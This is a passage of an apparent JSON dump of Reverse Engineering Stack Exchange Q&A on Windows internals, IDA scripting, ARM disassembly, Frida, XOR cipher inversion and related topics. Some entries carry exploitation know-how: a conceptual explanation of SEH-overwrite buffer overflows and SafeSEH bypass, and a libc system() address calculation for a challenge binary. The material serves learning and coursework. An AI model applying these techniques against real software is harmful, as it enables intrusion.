        "Answer": "<p><code>7FFE0308h</code> is a pointer inside the <code>KUSER_SHARED_DATA</code> struct.</p>\n<blockquote>\n<p>The pre-set address for access from kernel mode is defined symbolically in WDM.H as KI_USER_SHARED_DATA. It helps when debugging to remember that this is 0xFFDF0000 or 0xFFFFF780`00000000, respectively, in 32-bit and 64-bit Windows. Also defined is a convenient symbol, SharedUserData, which casts this constant address to a KUSER_SHARED_DATA pointer.</p>\n<p>The read-only user-mode address for the shared data is 0x7FFE0000, both in 32-bit and 64-bit Windows.</p>\n</blockquote>\n<p>Ref: <a href=\"https://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kuser_shared_data.htm\" rel=\"nofollow noreferrer\">https://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kuser_shared_data.htm</a></p>\n<p>We see from that ref above that SharedUserData+0x308 is</p>\n<blockquote>\n<p>0x0308 ULONG SystemCall</p>\n</blockquote>\n<p>for Windows versions 1511 and higher.</p>\n<p>So what does it do?</p>\n<pre><code>//\n// On AMD64, this value is initialized to a nonzero value if the system\n// operates with an altered view of the system service call mechanism.\n//\n\nULONG SystemCall;\n</code></pre>\n<p>from recent ntddk.h</p>\n<p>...not very helpful.</p>\n<p>So what's the difference between int 2e and syscall <strong>in this context?</strong></p>\n<p>Ref: <a href=\"https://twitter.com/honorary_bot/status/966609444674162688\" rel=\"nofollow noreferrer\">https://twitter.com/honorary_bot/status/966609444674162688</a></p>\n<blockquote>\n<p>Might be a clue: 'int 2e' instruction can be trapped by vmx, syscall not</p>\n</blockquote>\n<p>More info here: <a href=\"https://www.amossys.fr/fr/ressources/blog-technique/windows10-th2-int2e-mystery/\" rel=\"nofollow noreferrer\">https://www.amossys.fr/fr/ressources/blog-technique/windows10-th2-int2e-mystery/</a></p>\n<hr />\n<p><strong>In the context of your question</strong> the <code>ntdll.dll</code> <code>int 0x2e</code> system calls probably have something to do with Virtualization Based Security. They have been present in Windows 10 since version 1511, after having been removed as a syscall method since Windows 8.</p>\n"
    },
    {
        "Id": "19338",
        "CreationDate": "2018-09-14T03:15:06.223",
        "Body": "<p>As a beginner I'm trying to disassemble a file with IDA Pro 6.8. I write some IDC script for time-consuming work.</p>\n\n<p>Now, I want to get the execution time of my script, but I can not find appropriate IDC function. Are there anyone to tell me how to write script get execution time?</p>\n\n<p>Thanks in advance.</p>\n",
        "Title": "How to get execution time of IDC script?",
        "Tags": "|ida|script|",
        "Answer": "<p>What you could do as a workaround for the missing time-support in Ida:</p>\n\n<p>IDC has an \"Exec\" command (as mentioned in a comment) allowing you to make arbitrary calls to the OS. This might help. In the \"Exec\" bracktes you enter a command in much the same way as typing it on the command line.</p>\n\n<p>The following is an idc script file </p>\n\n<ul>\n<li>Writing the date and time with some comment into the file\nC:\\tmp\\mytime.tim. </li>\n<li><p>Reading this file and displying its contents to    Ida's output\nwindow.</p>\n\n<pre><code>static main()\n{\n    writeTime();\n}\n\nstatic writeTime()\n{\n    Exec (\"echo Date of script run #1234 was %date% &gt;&gt; c:\\\\tmp\\\\mytime.tim\");\n    Exec (\"echo Time of script run #1234 %time% &gt;&gt; c:\\\\tmp\\\\mytime.tim\");\n    print(\"Time written into C:\\\\tmp\\\\mytime.tim\");\n\n    auto h = fopen(\"c:\\\\tmp\\\\mytime.tim\", \"r\");\n    auto date = readstr(h);\n    auto time = readstr(h);\n    if (date != -1 &amp;&amp; time != -1)\n    {   \n        Message(\"%s\", date);\n        Message(\"%s\", time);\n    }\n    else\n        Message(\"error\\n\");\n    fclose(h);\n}\n</code></pre>\n\n<p>Ida's output window shows the following:</p></li>\n</ul>\n\n<p><a href=\"https://i.stack.imgur.com/sBHYt.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/sBHYt.jpg\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "19344",
        "CreationDate": "2018-09-15T10:43:02.157",
        "Body": "<p>I decompiled a program where there is a function, which has only a single useful instruction which is</p>\n\n<pre><code>xor eax, eax\nretn\n</code></pre>\n\n<p>What it the purpose of having this in an extra function, instead of using <code>xor eax, eax</code> or <code>mov eax, 0</code> at the place where the call happens to be?</p>\n\n<ul>\n<li>Notes:\n\n<ol>\n<li>Most of the time, it is called directly <code>call sub_41063A</code> (address of the function), sometimes its address is loaded with <code>mov esi, offset sub_41063A</code></li>\n<li>It is an x68_64-architecture</li>\n<li>I don't know, which compiler was used</li>\n</ol></li>\n</ul>\n\n<p>Edit:</p>\n\n<p>Code examples: (I named the function 'clearEAX')</p>\n\n<p>The function Itself: </p>\n\n<pre><code>.text:000000000041063A\n.text:000000000041063A clearEAX        proc near               ; CODE XREF: sub_40E4B4+37p\n.text:000000000041063A                                         ; sub_40E528+DFp ...\n.text:000000000041063A                 xor     eax, eax        ; Logical Exclusive OR\n.text:000000000041063C                 retn                    ; Return Near from Procedure\n.text:000000000041063C clearEAX        endp\n.text:000000000041063C\n.text:000000000041063D\n</code></pre>\n\n<p>Its address being referenced (0x4113B2)\nIt being called directly in context: (0x4113CB)</p>\n\n<pre><code>.text:00000000004113AC                 push    rbp\n.text:00000000004113AD                 mov     edx, offset unk_514200\n.text:00000000004113B2                 mov     esi, offset clearEAX\n.text:00000000004113B7                 push    rbx\n.text:00000000004113B8                 mov     ebx, edi\n.text:00000000004113BA                 sub     rsp, 28h        ; Integer Subtraction\n.text:00000000004113BE                 mov     rdi, rsp\n.text:00000000004113C1                 call    nullsub_3       ; Call Procedure\n.text:00000000004113C6                 mov     edi, offset unk_514200\n.text:00000000004113CB                 call    clearEAX        ; Call Procedure\n.text:00000000004113D0                 mov     rax, cs:qword_514398\n.text:00000000004113D7                 test    rax, rax        ; Logical Compare\n.text:00000000004113DA                 jz      short loc_4113E0 ; Jump if Zero (ZF=1)\n.text:00000000004113DC                 mov     edi, ebx\n.text:00000000004113DE                 call    rax ; qword_514398 ; Indirect Call Near Procedure\n.text:00000000004113E0\n</code></pre>\n\n<p>However, I don't think, that the context does matter here because the context is nowhere near similar. Meaning that it's not the combination of moving the address first then calling it or something like that.</p>\n",
        "Title": "Why having a function with just one instruction",
        "Tags": "|ida|compilers|",
        "Answer": "<p>Very often functions like this will be listed within a <code>vtable</code>. This is where, within a language like <code>C++</code>, class objects can inherit functions and variables from other class objects.</p>\n\n<p>If <code>class A</code>, the parent class, implements a function <code>getCount</code>, <code>class B</code> can inherit from this class and change the return value of that function.</p>\n\n<p>Very often, developers will implement a generic method in the parent class, expecting derived classes to implement a more functional body.</p>\n\n<p>An example of this can be seen in the <code>tinyxml</code> C++ library. Most classes derive from a main <code>XmlNode</code> class, which implements several methods for casting to the correct type. Within the parent, each <code>To_XXX</code> function simply returns a null pointer. Each derived class overrides one of those methods to return a real pointer to itself.</p>\n"
    },
    {
        "Id": "19345",
        "CreationDate": "2018-09-15T11:55:55.247",
        "Body": "<p>How to calculate the address of a function in the LIBC, when ASLR is not active.\nI only have the address where to load the LIBC (with <code>ldd /bin/bash</code>).</p>\n\n<p>Thank you for the explanations</p>\n\n<p><strong>EDIT:</strong></p>\n\n<p>When I use your method I do not get the good result, although it is good in general (I do not understand why)</p>\n\n<p>libc base adress</p>\n\n<p><code>ldd ch33\n        linux-gate.so.1 =&gt;  (0xb7fff000)\n        libc.so.6 =&gt; /lib/i386-linux-gnu/libc.so.6 (0xb7e46000)\n        /lib/ld-linux.so.2 (0x80000000)\n</code></p>\n\n<p>system offset:</p>\n\n<p><code>gdb -q /lib/i386-linux-gnu/libc.so.6\ngdb$ print system\n$1 = {&lt;text variable, no debug info&gt;} 0x40310 &lt;__libc_system&gt;\n</code></p>\n\n<p>I then calculate <code>0x40310 + 0xb7e46000 = 0xb7e86310</code></p>\n\n<p>However, i should get <code>0xb7e64310</code></p>\n\n<p>because:\n<code>~$ gdb ch33\ngdb$ r\nStarting program: /challenge/app-systeme/ch33/ch33\n...\ngdb$ p system\n$1 = {&lt;text variable, no debug info&gt;} 0xb7e64310 &lt;__libc_system&gt;\n</code></p>\n",
        "Title": "Found the adress of a function LIBC without GDB",
        "Tags": "|libc|",
        "Answer": "<p>This can be done using </p>\n\n<p>objdump:</p>\n\n<pre><code>$ objdump -TC /lib/x86_64-linux-gnu/libc.so.6 | grep \" printf$\"\n\n0000000000064e80 g    DF .text  00000000000000c3  GLIBC_2.2.5 printf\n</code></pre>\n\n<p>readelf:</p>\n\n<pre><code>$ readelf -Ws /lib/x86_64-linux-gnu/libc.so.6 | grep \" printf@@GLIBC_2.2.5\"\n   627: 0000000000064e80   195 FUNC    GLOBAL DEFAULT   13 printf@@GLIBC_2.2.5\n</code></pre>\n\n<p>nm:</p>\n\n<pre><code>$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep \" printf$\"\n0000000000064e80 T printf\n</code></pre>\n\n<p>gdb:</p>\n\n<pre><code>$ ldd ./shellpointcode               \n    linux-vdso.so.1 (0x00007fff3f1e1000)\n    libc.so.6 =&gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f9213f000)\n    /lib64/ld-linux-x86-64.so.2 (0x00007f3f92732000)\n$ gdb -q /lib/x86_64-linux-gnu/libc.so.6\npwndbg: loaded 171 commands. Type pwndbg [filter] for a list.\npwndbg: created $rebase, $ida gdb functions (can be used with print/break)\nReading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.27.so...done.\ndone.\npwndbg&gt; print printf\n$1 = {int (const char *, ...)} 0x64e80 &lt;__printf&gt;\n</code></pre>\n\n<p>Then the effective address of <code>printf</code> would be </p>\n\n<pre><code>0x64e80+0x7f3f9213f000 = 0x7f3f921a3e80\n</code></pre>\n"
    },
    {
        "Id": "19352",
        "CreationDate": "2018-09-15T19:40:04.530",
        "Body": "<p>Assuming I have a syscall to <code>open</code>. </p>\n\n<p><code>man 2 open</code> gives me info, that it requires 2 or 3 parameters </p>\n\n<pre><code>int open(const char *pathname, int flags);\nint open(const char *pathname, int flags, mode_t mode);\n</code></pre>\n\n<p>So, my code runs and In my registers I have </p>\n\n<pre><code>$rdi = 0x00007fffffffdb40 \u2192 \"/etc/init.d/\",\n$rsi = 0x0000000000000241,\n$rdx = 0x00000000000001c9\n</code></pre>\n\n<p>How and which flags is it using during the call? How will the dir (or file) be opened?</p>\n\n<ol>\n<li>I am looking at the man page. The possible flags are mentioned, but not their bit/value/integer being set by <code>|</code>'ing the flags together in source code.</li>\n<li>I continue at the man page and see above the header files, which define the constants. In this case I'd need to <code>#include &lt;sys/types.h&gt; &lt;sys/stat.h&gt; &lt;fcntl.h&gt;</code>. However, in this files, I cannot find bits or integers, which <code>sum</code> or <code>|</code> up to the given flags (<code>$rsi = 0x241</code>, <code>577</code> in decimal, <code>1001000001</code> in binary) I cannot see any pattern.</li>\n</ol>\n\n<p>Question: Do I oversee something? Do I need to look somewhere else? Where are those bits described?</p>\n",
        "Title": "How to get meaning of flags by integer",
        "Tags": "|compilers|",
        "Answer": "<p>The flags are constants drawn from here:\n<a href=\"https://github.com/torvalds/linux/blob/master/tools/include/uapi/asm-generic/fcntl.h\" rel=\"nofollow noreferrer\">https://github.com/torvalds/linux/blob/master/tools/include/uapi/asm-generic/fcntl.h</a></p>\n\n<p>They <em>can</em> change but very rarely. </p>\n\n<hr>\n\n<p>Applying this we can see that </p>\n\n<p><code>0x241 == O_WRONLY | O_CREAT | O_TRUNC</code></p>\n"
    },
    {
        "Id": "19364",
        "CreationDate": "2018-09-16T18:46:51.097",
        "Body": "<p>I have this java function that decode 8bytes text string(encoded as int[]):</p>\n\n<pre><code>public static int[] decode(int[] text, int[] key) {\n   int j = 0x3c; //value 60 in decimal\n   int i = 0x33; //value 51 in decimal\n   int[] result;\n\n   for ( i = 0x33; ; (text[1]) ^= ((key[j]) ^ (text[4])) + i ){\n       j = j - 1;\n       text[7] ^= ((key[j--]) ^ (text[3])) + i;\n       text[6] ^= ((key[j--]) ^ (text[2])) + i;\n       text[5] ^= ((key[j]) ^ (text[1])) + i;\n       j = j - 1;\n       result = text;\n       (text[4]) ^= ((key[j]) ^ text[0]) + i;\n       if ( j &lt;= 0 )\n           break;\n       j = j - 1;\n       text[0] ^= ((key[j--]) ^ (text[7])) + i;\n       text[3] ^= ((key[j]) ^ (text[6])) + i;\n       text[2] ^= ((text[4]) ^ (text[5])) + i;\n       j = j - 1;\n       //System.out.println(\"i \" +i+\" - j \"+j);\n   }\nreturn result;\n}\n</code></pre>\n\n<p>but if I wanted to do the reverse, how can build the encode function? how do I build the inverse method(from decoded text to encode text)?</p>\n",
        "Title": "Help reverse decrypt function (decode -> encode)",
        "Tags": "|decryption|",
        "Answer": "<p>For</p>\n\n<pre><code>a = b ^ c\n</code></pre>\n\n<p>Since the XOR operation is trivial to reverse when any 2 values in a, b, c are known, this will only require you to just reverse the order in which operations were done. I had to do this in C since I don't use Java.</p>\n\n<pre><code>int *encode(int *text, int *key) {\n  int j = 0x0;\n  int i = 0x33; // value 51 in decimal\n\n  for (i = 0x33;;) {\n    text[4] ^= ((key[j++]) ^ (text[0])) + i;\n    text[5] ^= ((key[j++]) ^ (text[1])) + i;\n    text[6] ^= ((key[j++]) ^ (text[2])) + i;\n    text[7] ^= ((key[j++]) ^ (text[3])) + i;\n    text[1] ^= ((key[j++]) ^ (text[4])) + i;\n    if (j &gt;= 0x3c)\n      break;\n    text[2] ^= ((text[4]) ^ (text[5])) + i;\n    text[3] ^= ((key[j++]) ^ (text[6])) + i;\n    text[0] ^= ((key[j++]) ^ (text[7])) + i;\n  }\n  return text;\n}\n</code></pre>\n\n<p>Here's the full code that works.</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nint *decode(int *text, int *key) {\n  int j = 0x3c; // value 60 in decimal\n  int i = 0x33; // value 51 in decimal\n\n  for (i = 0x33;;) {\n    text[1] ^= ((key[j--]) ^ (text[4])) + i;\n    text[7] ^= ((key[j--]) ^ (text[3])) + i;\n    text[6] ^= ((key[j--]) ^ (text[2])) + i;\n    text[5] ^= ((key[j--]) ^ (text[1])) + i;\n    text[4] ^= ((key[j--]) ^ (text[0])) + i;\n    if (j &lt;= 0)\n      break;\n    text[0] ^= ((key[j--]) ^ (text[7])) + i;\n    text[3] ^= ((key[j--]) ^ (text[6])) + i;\n    text[2] ^= ((text[4]) ^ (text[5])) + i;\n  }\n  return text;\n}\n\nint *encode(int *text, int *key) {\n  int j = 0x0;\n  int i = 0x33; // value 51 in decimal\n\n  for (i = 0x33;;) {\n    text[4] ^= ((key[j++]) ^ (text[0])) + i;\n    text[5] ^= ((key[j++]) ^ (text[1])) + i;\n    text[6] ^= ((key[j++]) ^ (text[2])) + i;\n    text[7] ^= ((key[j++]) ^ (text[3])) + i;\n    text[1] ^= ((key[j++]) ^ (text[4])) + i;\n    if (j &gt;= 0x3c)\n      break;\n    text[2] ^= ((text[4]) ^ (text[5])) + i;\n    text[3] ^= ((key[j++]) ^ (text[6])) + i;\n    text[0] ^= ((key[j++]) ^ (text[7])) + i;\n  }\n  return text;\n}\n\nint key[] = {0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n             0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n             0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n             0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n             0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n             0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41};\nint text[] = {0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68};\n\nint main(int argc, char **argv) {\n  int i, *d, *e;\n  for (i = 0; i &lt; 8; i++) {\n    printf(\"%x::\", text[i]);\n  }\n  putchar(10);\n  d = decode(text, key);\n  for (i = 0; i &lt; 8; i++) {\n    printf(\"%x::\", d[i]);\n  }\n  putchar(10);\n  e = encode(text, key);\n  for (i = 0; i &lt; 8; i++) {\n    printf(\"%x::\", e[i]);\n  }\n  putchar(10);\n}\n</code></pre>\n\n<p>This produces the following output</p>\n\n<pre><code>61::62::63::64::65::66::67::68::\n65a::3e9::64a::bd6::5c2::11::1a9::85e::\n61::62::63::64::65::66::67::68::\n</code></pre>\n\n<p>I was able to get back the original array after a <code>decode</code> and <code>encode</code>.</p>\n"
    },
    {
        "Id": "19365",
        "CreationDate": "2018-09-16T21:12:20.610",
        "Body": "<p>Is there a way to kill/abort the thread/process from a hook (let's say the <code>onLeave</code> hook) in frida-trace?\nIf \"yes\", how?</p>\n",
        "Title": "Killing thread/process from Frida trace",
        "Tags": "|frida|",
        "Answer": "<p>One (rather ugly) solution to this is simply to crash the program by setting the thread's context's instruction pointer to unmapped memory or kernel memory. You can accomplish that with Frida's interceptor by using <code>this.context</code>:</p>\n\n<pre><code>onLeave: function (result) {\n    this.context.pc = 0\n}\n</code></pre>\n"
    },
    {
        "Id": "19372",
        "CreationDate": "2018-09-17T12:24:26.903",
        "Body": "<p>In our course in university, we recently moved on from standard buffer-overflows to SEH based ones.</p>\n<p>My exploit is already ready and working thanks to some nice tutorials, although I am still not sure I completely understand, when and why we need the SEH buffer-overflow.</p>\n<p>My understanding so far is that, if there are no explicit exception handlers in the source code, every thread will get an automatic one, specific handlers will be there additionally.</p>\n<p>For programs, which are vulnerable to SEH BOF a buffer-overflow will cause the e.g. Immunity debugger to pause the program at an exception. Only after the exception is passed to the program the <code>EIP</code> register is overwritten with the malicious buffer.</p>\n<h2>Question 1:</h2>\n<blockquote>\n<p>Why does this not happen for every program then since there should be an automatic exception handler in any case?</p>\n</blockquote>\n<p>After passing the exception <code>EIP</code> and <code>ESP</code> are overwritten, with values from my buffer, yet other registers are zeroed out (<code>EAX</code>, <code>EBX</code>, <code>ESI</code> &amp; <code>EDI</code> in my example). So I can control <code>EIP</code> and <code>ESP</code>, but the tutorials mention that it is useless, due to the zeroed out registers.\nHowever, they never explain why the zeroed out registers are the problem - so here is my second lack of understanding.</p>\n<h2>Question 2:</h2>\n<blockquote>\n<p>What exactly is the deal with the zeroed out registers and why would they break shellcode execution?</p>\n</blockquote>\n<p>Now we also overwrite the NSEH and SEH records and using a pattern can figure out the exact offset to overwrite those. Then comes the magic with referencing some module which has <code>POP POP RET</code> to get to <code>ESP + 8</code>.</p>\n<p>Plus eventually yet another jump.</p>\n<h2>Question 3:</h2>\n<blockquote>\n<p>Why do I need POP POP RET and the final jump?</p>\n</blockquote>\n<hr />\n<p>I have the exploit working and can hand it in like this, yet it feels very unsatisfactory and pointless without actually understanding what is going on.\nI only started working with low level stuff recently and still have a lot to learn, so I am very thankful for every help.</p>\n",
        "Title": "WHY and WHEN do we need SEH for buffer overflowing",
        "Tags": "|windows|x86|immunity-debugger|buffer-overflow|seh|",
        "Answer": "<p>First of all, read this:</p>\n\n<p><a href=\"https://www.blackhat.com/presentations/bh-asia-03/bh-asia-03-litchfield.pdf\" rel=\"noreferrer\">https://www.blackhat.com/presentations/bh-asia-03/bh-asia-03-litchfield.pdf</a></p>\n\n<p>That's pretty much how all this started.</p>\n\n<p>A SEH buffer overflow is a specific stack overflow that targets the <code>EXCEPTION_REGISTRATION_RECORD</code> sitting some arbitrary distance down the stack.</p>\n\n<blockquote>\n  <p>Why does this not happen for every program then since there should be an automatic exception handler in any case?</p>\n</blockquote>\n\n<p>Yes it would, as you can't really disable SEH on Windows. Provided your buffer overflow can reach the <code>EXCEPTION_REGISTRATION_RECORD</code> and you can trigger an exception.</p>\n\n<blockquote>\n  <p>After passing the exception EIP and ESP are overwritten, with values from my buffer, yet other registers are zeroed out (EAX, EBX, ESI &amp; EDI in my example).</p>\n</blockquote>\n\n<p>from my <code>ntdll.dll</code> version <code>10.0.17134.254</code>...</p>\n\n<p>before being <code>XOR</code>'d...</p>\n\n<p><code>EAX</code> holds a pointer to the current <code>EXCEPTION_REGISTRATION_RECORD</code> so if you have overwritten <code>EXCEPTION_REGISTRATION_RECORD-&gt;Next</code> with the payload address and set the <code>EXCEPTION_REGISTRATION_RECORD-&gt;Handler</code> to a random instruction that peformed <code>JMP/CALL [EAX]</code>, that might be an attack vector.</p>\n\n<p><code>EBX</code> is already set to <code>0</code> at the start of <code>RtlDispatchException</code> It previously contained the <code>PEXCEPTION_RECORD</code>.</p>\n\n<p><code>ESI</code> is the <code>PEXCEPTION_RECORD</code> and <code>EDI</code> is the <code>PCONTEXT</code>.</p>\n\n<blockquote>\n  <p>What exactly is the deal with the zeroed out registers and why would they break shellcode execution?</p>\n</blockquote>\n\n<p>They don't necessarily. Before we get to execution of the handler we have to go through <code>ntdll!KiDispatchUserException</code> -> <code>ntdll!RtlDispatchException</code> which end up overwriting all the registers anyway. </p>\n\n<p>It's why the kernel saves them in the <code>CONTEXT</code> struct before returning to usermode.</p>\n\n<p>This exploit isn't a simple <code>EIP</code> hijack. There are big changes to the stack and registers before we get execution after the exception.</p>\n\n<blockquote>\n  <p>Why do I need POP POP RET and the final jump?</p>\n</blockquote>\n\n<p>Do you mean why not just set the <code>EXCEPTION_REGISTRATION_RECORD-&gt;Handler</code> directly to the shellcode?</p>\n\n<p>This is a ROP gadget to redirect execution to the value of <code>ESP+8</code>. If you get this far in the exploit then the data at <code>ESP+8</code> is controllable by you, but you might not necessarily know where that is in advance.</p>\n\n<p>Secondly, there are many sanity and security checks between the exception and the handler execution. If any of these fail the program is terminated before the handler is run. What these consist of depend on the version of Windows you are targeting. SafeSEH is one of them. Very simply it validates the handler address against a whitelist, but it can't validate for handlers in modules that were not compiled with SafeSEH. So if the POP/POP/RET comes from a module loaded and compiled without SafeSEH, ntdll cannot determine if it's malicious. </p>\n\n<blockquote>\n  <p>Plus eventually yet another jump.</p>\n</blockquote>\n\n<p>This is the best part!</p>\n\n<p>Because <code>ESP+8</code> is where we will be landing, we can put the shellcode here. Except it's the <code>EXCEPTION_REGISTRATION_RECORD</code> that we need to be intact so <code>EXCEPTION_REGISTRATION_RECORD-&gt;Handler</code> makes the first part of the exploit work.</p>\n\n<p>Luckily, <code>EXCEPTION_REGISTRATION_RECORD-&gt;Prev</code> (which you have as <code>NSEH</code>) represents the first 4 bytes to the shellcode where POP/POP/RET will return.</p>\n\n<p>A short jump in x86 can be encoded with just 2 bytes. So this final jump skips 6 byte over the <code>NSEH</code> so it can remain valid for the exploit to work.</p>\n\n<p>This blog :</p>\n\n<p><a href=\"https://dkalemis.wordpress.com/2010/10/27/the-need-for-a-pop-pop-ret-instruction-sequence/\" rel=\"noreferrer\">https://dkalemis.wordpress.com/2010/10/27/the-need-for-a-pop-pop-ret-instruction-sequence/</a></p>\n\n<p>Explains the final part far better than I can.</p>\n"
    },
    {
        "Id": "19378",
        "CreationDate": "2018-09-18T05:49:25.443",
        "Body": "<p>I tried to disassemble a ELF file which is a shared object file executed on armv7a (Android). I saw a strange block. It seems  that the <code>PC</code>, program counter register, is set to <code>0</code>. Did I miss something or do something wrong?</p>\n\n<hr>\n\n<p>The process goes into <code>0x1708</code> in ARM mode. Below is the strange block of asm code I disassembled from the ELF file.</p>\n\n<pre><code>; section: .plt\n; function: function_1708 at 0x1708 -- 0x1718\n0x1708:   04 e0 2d e5       str lr, [sp, #-4]!\n0x170c:   04 e0 9f e5       ldr lr, [pc, #4]\n0x1710:   0e e0 8f e0       add lr, pc, lr\n0x1714:   08 f0 be e5       ldr pc, [lr, #8]!\n; data inside code section at 0x1718 -- 0x171c\n0x1718:   b4 77 00 00                                        |.w..            |\n</code></pre>\n\n<p>After executing line <code>0x170c</code>, the <code>LR</code> register should be set as the value at the address <code>0x1718</code>. The value is <code>0x77b4</code> (this file is stored in little-endian).  And go ahead.</p>\n\n<pre><code>0x1710: lr += 0x1710 + 8  // lr = 0x8ecc\n0x1714: pc = *(lr + 8)    // pc = *(0x8ed4)\n        lr += 8  \n</code></pre>\n\n<p>And 0x8ed4 is in <code>.got</code> section.</p>\n\n<pre><code>; section: .got\n0x8eac:   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   |................|\n0x8ebc:   00 00 00 00 58 70 00 00  e0 6e 00 00 00 00 00 00   |....Xp...n......|\n0x8ecc:   00 00 00 00 00 00 00 00  00 00 00 00 08 17 00 00   |................|\n0x8edc:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|\n0x8eec:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|\n0x8efc:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|\n0x8f0c:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|\n0x8f1c:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|\n0x8f2c:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|\n0x8f3c:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|\n</code></pre>\n\n<p>It seems that the value at <code>0x8ed4</code> is zero. I traced to this strange block from <code>JNI_OnLoad()</code>, so no data should be modified before executing this block.</p>\n\n<p>Did I do something wrong, or is this a specific behavior of ARM architecture?</p>\n",
        "Title": "Disassemble ELF - PC is set to 0?",
        "Tags": "|android|arm|assembly|",
        "Answer": "<p>While the other answer is not wrong, it does not actually cover the real issue: how come that calling a zero address does not lead to a crash?</p>\n\n<p>AFAIK there is no official standard or complete documentation for this, but <em>de facto</em> the first few GOT entries are special/reserved and are used by the dynamic loader/linker (sometimes also called <em>interpreter</em>) for its own purposes:</p>\n\n<ul>\n<li><p><code>GOT[0]</code> points to the <code>_DYNAMIC</code> symbol of the current module which is the start of the list of tags (<code>Elf32_Dyn</code> entries) with the various information necessary for proper resolution of dynamic symbols. See the <a href=\"http://www.sco.com/developers/gabi/latest/ch5.dynamic.html\" rel=\"noreferrer\">ELF specification</a>. </p></li>\n<li><p><code>GOT[1]</code> is populated <em>at runtime</em> with the pointer to the <code>link_map</code> structure containing the list of all dynamic images present in the process. This list resides in the dynamic linker (<code>ld.so</code> on Linux systems and <code>linker</code> binary on Android).</p></li>\n<li><p><code>GOT[2]</code> is also filled in by the dynamic linker and points to the <em>resolver function</em> (<code>_dl_runtime_resolve</code> in glibc, not sure on Android).</p></li>\n</ul>\n\n<p>The snippet you quoted is the <em>resolver stub</em> which is called on first call of an external symbol (you can see that all GOT entries are initialized to its address, <code>1708</code>). It fetches <code>GOT[2]</code> and jumps to it, which should end up in the dynamic linker, which would look up the symbol, patch the GOT entry and jump to the function as the last step.</p>\n\n<p>As I said, there are no (AFAIK) official docs on this, just random pieces of the ELF ABI spec, glibc source code and various blog posts. I would suggest you to step through this code in a debugger to see what actually happens, and match it against the source code. In addition to links from @<strong>perror</strong>, I found <a href=\"http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html\" rel=\"noreferrer\">this post</a> which explains some of the reserved GOT entries (although for x64 Linux and not ARM Android).</p>\n"
    },
    {
        "Id": "19387",
        "CreationDate": "2018-09-18T15:04:18.880",
        "Body": "<p>Currently I am trying to reverse engineer the following armeabi-v7a function:</p>\n\n<p><a href=\"https://i.stack.imgur.com/N5FUh.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/N5FUh.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>I already wrote the following Java code:</p>\n\n<pre><code> static double getFunc(double param0, double param1, double param2, double param3) {\n      double r3, s7, s8, d4, d5, d6, d7, s10, s12, s13, s14, s15;\n      s14 = 100.0;\n      r3 = param3 - 0xAA;\n      s13 = param0;\n      s15 = param2;\n      s8 = 4.0;\n      s7 = param3;\n      s10 = 7.0;\n      s13 = s13  /s14;\n\n      if (param1 == 1) {\n          s13 = s15 *s13;\n          s15 = s13 * s8;\n          d4 = 0.22;\n          s10 = s15 / s10;\n          d5 = s10;\n          d4 = d5 * d4;\n          d5 = 0.6;\n          s12 = s7 / s14;\n          d5 = d4 * d5;\n          s10 = d5;\n          s12 = s10 + s12;\n      } else {\n          s15 = s15 * s13;\n          d6 = 0.34;\n          s15 = s15 * s8;\n          s10 = s15 / s10;\n          d5 = s10;\n          d5 = d5 * d6;\n          d6 = 0.45;\n          d6 = d5 * d6;\n          s15 = d6;\n          s12 = s7 / s14;\n          s12 = s15 + s12;\n      }\n\n      s14 = 10.0;\n      s14 = s12 * s14;\n      d6 = 0.5;\n      d7 = s14;\n      d7 = d7 + d6;\n      s14 = d7;\n      d6 = 10.0;\n      d7 = s14;\n      d7 = d7 / d6;\n\n      return d7;\n  }\n</code></pre>\n\n<p>Unfortunately, I don't get the correct result. I am doing something wrong but I am a little bit stuck.</p>\n\n<p>It might be that I don't understand the parameter handling on the armeabi-v7a assembly. Do I get it right in the code? Is R3 the third parameter? Are R# always integer values or could it be also double values?\nIs the VCVT.F32.F64 important for the Java implementation? If yes, how do I handle them correctly?\nR0 is the return register?</p>\n\n<p>It would be awesome if somebody could review my code.</p>\n\n<p>edit: the dissassembly code as requested:</p>\n\n<pre><code>getFunc       proc\n\n             VLDR    S14, gvar_1318 \n             SUBS    R3, #AAh\n             CMP     R1, #1h\n             VMOV    S13, R0\n             VMOV    S15, R2\n             VMOV.F32 S8, #4.000000E+00\n             VMOV    S7, R3\n             VMOV.F32 S10, #7.000000E+00\n             VDIV.F32 S13, S13, S14\n             BNE     loc 1294\n             VMUL.F32 S13, S15, S13\n             VMUL.F32 S15, S13, S8\n             VLDR    D4, gvar_12F8\n             VDIV.F32 S10, S15, S10\n             VCVT.F64.F32 D5, S10 \n             VCVT.F32.S32 S7, S7 \n             VMUL.F64 D4, D5, D4 \n             VLDR    D5, gvar_1300 \n             VDIV.F32 S12, S7, S14 \n             VMUL.F64 D5, D4, D5 \n             